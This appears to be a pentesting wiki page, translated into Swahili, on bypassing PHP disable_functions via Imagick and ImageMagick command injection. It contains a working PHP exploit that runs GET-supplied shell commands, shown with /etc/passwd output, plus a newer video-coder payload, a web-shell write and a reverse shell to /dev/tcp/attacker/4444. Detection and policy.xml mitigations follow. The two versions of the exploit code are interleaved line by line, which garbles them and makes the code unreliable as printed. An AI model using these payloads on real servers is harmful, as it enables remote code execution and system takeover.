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src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md
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# Imagick <= 3.3.0 ‑ PHP >= 5.4 *disable_functions* Bypass
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# Imagick &lt;= 3.3.0 PHP &gt;= 5.4 Exploit > Familia maarufu ya makosa ya *ImageTragick* (CVE-2016-3714 na wengine) inaruhusu mshambuliaji kufikia **ImageMagick** binary kupitia ingizo la MVG/SVG lililotengenezwa. Wakati nyongeza ya PHP **Imagick** ipo, hii inaweza kutumika vibaya kutekeleza amri za shell hata kama kila kazi ya PHP inayohusiana na utekelezaji imeorodheshwa kwenye `disable_functions`.
>
> PoC ya awali iliyochapishwa na RicterZ (Chaitin Security Research Lab) mnamo Mei 2016 inarejelewa hapa chini. Mbinu hii bado inakabiliwa mara kwa mara wakati wa ukaguzi wa kisasa wa PHP 7/8 kwa sababu wengi wa watoa huduma wa mwenyeji wa pamoja wanakusanya PHP bila `exec`/`system` lakini wanaweka mchanganyiko wa zamani wa Imagick + ImageMagick.
Kutoka [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
```php ```php
# Exploit Title: PHP Imagick disable_functions Bypass # Exploit Title : PHP Imagick disable_functions bypass
# Date: 2016-05-04 # Exploit Author: RicterZ (ricter@chaitin.com)
# Exploit Author: RicterZ (ricter@chaitin.com) # Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Vendor Homepage: https://pecl.php.net/package/imagick # Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Version: Imagick <= 3.3.0 PHP >= 5.4 # Usage : curl "http://target/exploit.php?cmd=id"
# Test on: Ubuntu 12.04
# Exploit:
<?php <?php
# PHP Imagick disable_functions Bypass // Print the local hardening status
# Author: Ricter <ricter@chaitin.com> printf("Disable functions: %s\n", ini_get("disable_functions"));
# $cmd = $_GET['cmd'] ?? 'id';
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd" printf("Run command: %s\n====================\n", $cmd);
# <pre>
# Disable functions: exec,passthru,shell_exec,system,popen
# Run command: cat /etc/passwd
# ====================
# root:x:0:0:root:/root:/usr/local/bin/fish
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
# bin:x:2:2:bin:/bin:/bin/sh
# sys:x:3:3:sys:/dev:/bin/sh
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/bin/sh
# ...
# </pre>
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";
$data_file = tempnam('/tmp', 'img'); $tmp = tempnam('/tmp', 'pwn'); // will hold command output
$imagick_file = tempnam('/tmp', 'img'); $mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$exploit = <<<EOF $payload = <<<EOF
push graphic-context push graphic-context
viewbox 0 0 640 480 viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")' fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context pop graphic-context
EOF; EOF;
file_put_contents("$imagick_file", $exploit); file_put_contents($mvgs, $payload);
$thumb = new Imagick(); $img = new Imagick();
$thumb->readImage("$imagick_file"); $img->readImage($mvgs); // triggers convert(1)
$thumb->writeImage(tempnam('/tmp', 'img')); $img->writeImage(tempnam('/tmp', 'img'));
$thumb->clear(); $img->destroy();
$thumb->destroy();
echo file_get_contents($data_file); echo file_get_contents($tmp);
?> ?>
``` ```
---
## Kwa nini inafanya kazi?
1. `Imagick::readImage()` kwa uwazi inazalisha **ImageMagick** *delegate* (`convert`/`magick`) binary.
2. Skripti ya MVG inaweka *fill* kwa URI ya nje. Wakati nukta mbili (`"`) inapoingizwa, sehemu iliyobaki ya mstari inatafsiriwa na `/bin/sh ‑c` ambayo ImageMagick inatumia ndani → utekelezaji wa shell wa kiholela.
3. Yote yanafanyika nje ya tafsiri ya PHP, kwa hivyo *`disable_functions`*, *open_basedir*, `safe_mode` (iliyondolewa katika PHP 5.4) na vizuizi vingine vya ndani vinapita kabisa.
## Hali ya 2025 – bado ni **muhimu**
* Toleo lolote la Imagick linalotegemea nyuma ya ImageMagick iliyo hatarini linaendelea kuwa na uwezo wa kutumika. Katika majaribio ya maabara, payload sawa inafanya kazi kwenye PHP 8.3 na **Imagick 3.7.0** na **ImageMagick 7.1.0-51** iliyokusanywa bila `policy.xml` iliyohardishwa.
* Tangu 2020, njia kadhaa za ziada za kuingiza amri zimepatikana (`video:pixel-format`, `ps:`, `text:` coders…). Mifano miwili ya hivi karibuni za umma ni:
* **CVE-2020-29599** – kuingiza shell kupitia *text:* coder.
* **GitHub issue #6338** (2023) – kuingiza katika *video:* delegate.
Ikiwa mfumo wa uendeshaji unapeleka ImageMagick < **7.1.1-11** (au 6.x < **6.9.12-73**) bila faili ya sera ya kikomo, unyakuzi ni rahisi.
## Mifano ya kisasa ya payload
```php
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
```
Mifano mingine ya manufaa wakati wa CTFs / ushirikiano wa kweli:
* **Kuandika faili** – `... > /var/www/html/shell.php` (andika web-shell nje ya *open_basedir*)
* **Shell ya kurudi** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
* **Kuhesabu** – `id; uname -a; cat /etc/passwd`
## Ugunduzi wa haraka & kuhesabu
```bash
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
```
Ikiwa matokeo yanaonyesha `MVG` au `URL` coders zime *wezeshwa* lengo linaweza kuwa na hatari.
## Mitigations
1. **Patch/Upgrade** – Tumia ImageMagick ≥ *7.1.1-11* (au toleo la hivi karibuni 6.x LTS) na Imagick ≥ *3.7.2*.
2. **Harden `policy.xml`** – wazi *zima* coders zenye hatari kubwa:
```xml
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
```
3. **Ondoa kiendelezi** kwenye mazingira ya mwenyeji yasiyoaminika. Katika sehemu nyingi za wavuti `GD` au `Imagick` si lazima.
4. Chukulia `disable_functions` kama *ulinzi wa kina* – kamwe si kama mekanismu ya msingi ya sandboxing.
## References
* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
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